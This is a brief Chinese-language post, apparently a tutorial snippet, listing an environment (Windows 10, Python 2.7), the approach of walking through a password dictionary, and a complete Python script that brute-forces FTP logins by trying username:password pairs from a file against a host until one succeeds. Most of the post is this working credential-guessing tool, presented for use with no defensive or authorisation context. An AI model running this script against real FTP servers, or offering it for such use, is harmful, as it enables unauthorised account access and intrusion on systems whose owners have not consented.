一、环境
windows10 + python2.7
二、思路
遍历密码字典
三、code
#!/usr/bin/env python
# coding=utf-8
import ftplib
def bruteLogin(hostname, passwordFile):
pF = open(passwordFile, 'r')
for line in pF.readlines():
username = line.split(':')[0]
password = line.split(':')[1].strip('\r').strip('\n')
print '[+] Trying: ' + username + '/' + password
try:
ftp = ftplib.FTP(hostname)
ftp.login(username, password)
print '\n [*] ' + str(hostname) + 'FTP logon Succeeded: ' + username + '/' + password
ftp.quit()
return username, password
except Exception, e:
pass
print '\n[-] Could not brute force FTP credentials.'
return None, None
host = '192.168.0.0'
passwordFile = 'userpass.txt'
bruteLogin(host, passwordFile)